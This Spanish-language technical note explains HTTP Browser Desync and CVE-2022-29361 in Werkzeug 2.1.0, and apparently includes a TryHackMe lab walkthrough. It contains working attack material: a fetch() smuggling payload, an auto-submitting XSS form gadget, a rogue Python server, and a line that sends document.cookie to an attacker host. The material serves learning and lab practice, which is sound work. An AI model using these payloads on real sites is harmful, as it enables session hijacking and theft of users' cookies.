HTTP Browser Desync
HTTP Browser Desync (o Client-Side Desync) es una variante de HTTP Request Smuggling en la que la desincronización se produce directamente en la conexión entre el navegador del usuario y el…
Definición
HTTP Browser Desync (o Client-Side Desync) es una variante de HTTP Request Smuggling en la que la desincronización se produce directamente en la conexión entre el navegador del usuario y el servidor, sin necesidad de un segundo servidor backend. A diferencia del smuggling clásico (que explota discrepancias entre front-end y back-end), esta técnica solo requiere que el servidor frontend interprete incorrectamente los límites del request, afectando la propia conexión del cliente con su navegador.
Un atacante puede desencadenar este ataque desde JavaScript en una página que la víctima visita, envenenando la conexión del navegador para sustituir el próximo request legítimo del usuario por uno malicioso.
Contexto
HTTP Keep-Alive y su rol
HTTP Keep-Alive permite reutilizar una única conexión TCP para múltiples peticiones HTTP. Esto reduce latencia y mejora el rendimiento, pero introduce un riesgo de seguridad: si la interpretación de los límites del request body es inconsistente, el servidor puede dejar datos del body de una petición “en cola”, que se prependerán a la próxima petición del usuario.
Si hay mecanismos de caché, esta persistencia de conexión puede contribuir a cache poisoning: el atacante podría almacenar contenido malicioso en la caché que después es servido a otros usuarios.
HTTP Pipelining
HTTP Pipelining (cuando está habilitado en el backend) permite enviar dos o más requests simultáneamente sobre la misma conexión sin esperar la respuesta entre ellos. Las respuestas llegan en el mismo orden que los requests. La única forma de distinguir los límites entre requests en el pipeline es el header Content-Length.
Para contenidos estáticos (imágenes, iconos), los servidores normalmente ignoran Content-Length. Esta inconsistencia es la base de algunas variantes del ataque.
Diferencia con el smuggling tradicional
| Aspecto | Smuggling tradicional | Browser Desync |
|---|---|---|
| Componentes involucrados | Front-end proxy + back-end server | Solo servidor frontend |
| Víctima inicial | Usuarios cuyas peticiones pasan por el backend | El propio usuario (su navegador) |
| Vector de entrega | Petición directa del atacante al servidor | JavaScript ejecutado en el navegador de la víctima |
| Restricción SameSite/CORS | No aplica directamente | No aplica si el dominio es el mismo (el ataque se lanza desde el propio dominio) |
Impacto
- Control total sobre la próxima petición del usuario (robo de sesión, account takeover).
- Encadenamiento con XSS para robo de cookies y credenciales.
- Bypass de controles de seguridad basados en SameSite cookies.
- Cache poisoning que afecta a múltiples usuarios.
- Difícil de detectar porque el vector de ataque es el propio navegador de la víctima.
Desarrollo
Mecánica del ataque Browser Desync
El ataque ocurre en dos pasos:
- Envenenamiento de la cola: el atacante envía un POST con keep-alive que incluye un segundo request malicioso (“hijack request”) en el body. Si el servidor interpreta incorrectamente el Content-Length, procesa el primer request normalmente pero deja el hijack request en la cola de la conexión.
- Captura del siguiente request: cuando el usuario (o el mismo atacante usando el mismo browser/conexión) hace su próxima petición legítima, esta queda “fusionada” con el hijack request que está en cola. El servidor procesa el hijack request en lugar del legítimo.
Resultado: el servidor redirige al usuario al endpoint del hijack request (ej. /redirect), que puede ser una página de error 404, una URL controlada por el atacante, o cualquier otra acción.
CVE-2022-29361 — Werkzeug v2.1.0
Esta CVE afecta a Werkzeug v2.1.0 (biblioteca WSGI de Python, usada por Flask entre otros). El commit 4795b9a7 habilitó conexiones keep-alive cuando las opciones threaded o process están configuradas.
Aplicación vulnerable (Flask):
from flask import Flaskapp = Flask(__name__)
@app.route("/", methods=["GET", "POST"])def index(): return """CVE-2022-29361 Welcome to the Vulnerable Web Application"""
if __name__ == "__main__": app.run("0.0.0.0", 5000)La vulnerabilidad permite que el body de un POST quede en la cola de la conexión keep-alive, siendo interpretado como el inicio de la siguiente petición.
Explotación desde JavaScript (fetch)
El atacante puede desencadenar el ataque directamente desde el navegador usando la API fetch:
fetch('http://MACHINE_IP:5000/', { method: 'POST', body: 'GET /redirect HTTP/1.1\r\nFoo: x', mode: 'cors',})Análisis del payload:
http://MACHINE_IP:5000/: URL del servidor vulnerable (el mismo dominio → sin restricciones SameSite/CORS para compartir cookies).method: 'POST': POST para enviar body y mantener la conexión.body: 'GET /redirect HTTP/1.1\r\nFoo: x': el hijack request embebido en el body del POST.Foo: xactúa como header incompleto para que el backend espere más datos y “absorba” el request de la víctima.mode: 'cors': dispara un error cuando el navegador visita la página 404 (evita que el navegador siga el redirect automáticamente, permitiendo observar el resultado).
Observación del ataque: después de ejecutar el fetch, al refrescar la página, el navegador carga /redirect en lugar de /. Como /redirect no existe → 404. Esto confirma que el hijack request fue procesado, sustituyendo el request normal.
Browser Desync + XSS: Robo de cookies
Si no existe funcionalidad de upload arbitrario, se puede encadenar Browser Desync con XSS usando un servidor rogue del atacante.
Gadget HTML para entrega del ataque (inyectable en cualquier campo reflejado/vulnerable a XSS):
<form id="btn" action="http://challenge.thm/" method="POST" enctype="text/plain"><textarea name="GET http://YOUR_IP HTTP/1.1AAA: A">placeholder1</textarea><button type="submit">placeholder2</button></form><script> btn.submit() </script>Por qué este gadget:
<form>usa keep-alive por defecto (necesario para el ataque).enctype="text/plain"evita la codificación URL del body (queremos que el request malicioso llegue sin encoding).- El atributo
namedel textarea sobrescribe los bytes del siguiente request, redirigiendo al servidor del atacante. - El
<script>envía el form automáticamente cuando la víctima visita la página.
Flujo completo:
- El gadget coloca a la víctima en el contexto de la conexión del servidor vulnerable.
- El siguiente request del navegador de la víctima queda fusionado con el hijack: hace un GET al servidor del atacante.
- El servidor del atacante responde con JavaScript malicioso que roba la cookie:
fetch('http://ATTACKER_IP/' + document.cookie);Challenge completo (TryHackMe walkthrough)
Objetivo: robar la cookie de un usuario bot que visita /vulnerablecontact, donde el input se interpreta (XSS posible). El atacante puede enviar mensajes en /securecontact (no XSS, solo reflejo de texto).
- Añadir al
/etc/hosts:MACHINE_IP challenge.thm. - Confirmar vulnerabilidad: ejecutar en la consola del browser:
fetch('http://challenge.thm/', { method: 'POST', body: 'GET /redirect HTTP/1.1\r\nFoo: x', mode: 'cors',})- Refrescar la página → 404 en
/redirect→ vulnerable confirmada. - Identificar que
/vulnerablecontactinterpreta el HTML del campo de mensaje → XSS. - Levantar servidor rogue en AttackBox (puerto 1337) que devuelve JS de robo de cookie:
from http.server import BaseHTTPRequestHandler, HTTPServer
class ExploitHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/': self.send_response(200) self.send_header("Access-Control-Allow-Origin", "*") self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(b"fetch('http://ATTACKER_IP:8080/' + document.cookie)")
HTTPServer(('', 1337), ExploitHandler).serve_forever()- Levantar listener para recibir la cookie (puerto 8080):
sudo python3 -m http.server 8080- Enviar el gadget XSS como mensaje en
/securecontact(el bot visitará/vulnerablecontactdonde se interpreta):
<form id="btn" action="http://challenge.thm/" method="POST" enctype="text/plain"><textarea name="GET http://ATTACKER_IP:1337 HTTP/1.1AAA: A">placeholder1</textarea><button type="submit">placeholder2</button></form><script> btn.submit() </script>- El bot visita la página → el gadget lo redirige al servidor rogue → el servidor responde con el fetch de cookie → la cookie se envía al puerto 8080 del atacante → flag obtenida.
Pitfalls
- CORS y SameSite no protegen en el mismo dominio: la restricción de que cookies SameSite no se envíen en cross-site requests no aplica cuando el ataque se lanza desde el propio dominio (el gadget HTML está en el mismo origen). El navegador enviará las cookies normalmente.
- Keep-alive es necesario: si el servidor no usa keep-alive o el browser cierra la conexión entre requests, el hijack request en cola se descarta. Los forms HTML usan keep-alive por defecto (ventaja sobre fetch en ciertos casos).
- enctype=“text/plain” es crítico: sin este atributo, el form encoding (URL encoding) modificaría el body del POST y el hijack request quedaría malformado.
text/plainpreserva los caracteres literales del body. - El bot/víctima debe hacer una petición después del envenenamiento: el ataque no tiene efecto instantáneo. El envenenamiento queda en cola y se activa cuando la víctima realiza cualquier petición HTTP al mismo servidor. El timing importa.
- Solo funciona en servidores con keep-alive mal implementado: la vulnerabilidad requiere que el servidor permita keep-alive y no gestione correctamente los límites del body. Servidores modernos bien configurados no son vulnerables.
- CVE-2022-29361 específico de Werkzeug v2.1.0: verificar la versión exacta antes de asumir vulnerabilidad. Versiones anteriores no tenían keep-alive habilitado por defecto.
Diagrama
sequenceDiagram
participant A as Atacante (JS en browser)
participant S as Servidor vulnerable<br/>(Werkzeug v2.1.0)
participant V as Víctima (bot)
participant R as Servidor Rogue (Atacante)
Note over A,S: Paso 1: Envenenamiento de la cola
A->>S: POST / keep-alive<br/>body: "GET http://ROGUE HTTP/1.1\nAAA: A"
S->>S: Procesa POST correctamente
S->>S: Body mal interpretado →<br/>"GET http://ROGUE HTTP/1.1\nAAA: A" queda en cola
S-->>A: 200 OK (respuesta al POST)
Note over V,S: Paso 2: Captura del siguiente request
V->>S: GET /qualquier HTTP/1.1 (request normal del bot)
S->>S: Hijack en cola: se prepende al request del bot
Note over S: Servidor procesa GET http://ROGUE en lugar del request de la víctima
S->>R: GET / HTTP/1.1 (con cookies del bot)
R-->>S: JS malicioso: fetch('http://ATTACKER:8080/'+document.cookie)
S-->>V: Respuesta con JS malicioso
V->>A: GET /COOKIE_VALUE (cookie robada vía fetch)
Referencias
- TryHackMe — HTTP Browser Desync: https://tryhackme.com/room/httpbrowserdesync
- CVE-2022-29361 — Werkzeug keep-alive desync: https://nvd.nist.gov/vuln/detail/cve-2022-29361
- Werkzeug commit 4795b9a7: https://github.com/pallets/werkzeug/commit/4795b9a7
- @kevin_mizu — Descubridor de CVE-2022-29361: https://twitter.com/kevin_mizu
- James Kettle (@albinowax) — Investigador que identificó esta categoría de vulnerabilidad
Ver también: HTTP Request Smuggling, HTTP2 Request Smuggling, WebSocket Request Smuggling, Cross-Site Scripting (XSS)